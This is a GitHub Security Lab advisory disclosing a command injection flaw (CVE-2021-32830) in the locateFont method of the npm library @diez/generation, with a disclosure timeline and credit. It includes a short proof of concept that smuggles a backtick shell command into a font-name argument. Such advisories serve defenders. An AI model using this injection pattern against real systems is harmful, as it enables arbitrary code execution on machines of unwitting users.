July 21, 2021

GHSL-2021-061: Command injection in @diez/generation - CVE-2021-32830


Alvaro Munoz

Coordinated Disclosure Timeline

- 2021-03-25: Opened public issue to reach maintainers
- 2021-07-05: Deadline expired
- 2021-07-05: Publication as per our disclosure policy

Summary

The `locateFont` method has a command injection vulnerability. Clients of the @diez/generation library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Product

@diez/generation

Tested Version

Latest commit at the time of reporting (March 25, 2021).

Details

Command injection in `locateFont`

The following proof-of-concept illustrates the vulnerability. First install @diez/generation:

```
npm install @diez/generation
```

Now create a file with the following contents:

```
const generation = require("@diez/generation");
generation.locateFont("foo'`touch /tmp/exploit` '", {});
```

and run it:

```
node test.js
```

Notice that a file named `exploit` has been created.

The PoC only works on MacOS or on an Unix machine if the isMacOS function is patched in local installation (can be found in `node_modules/@diez/cli-core/lib/utils.js`).

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

CVE

- CVE-2021-32830

Credit

This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-061` in any communication regarding this issue.

- Contact GitHub

Company

- About
- Blog
- Careers
- Press
- Shop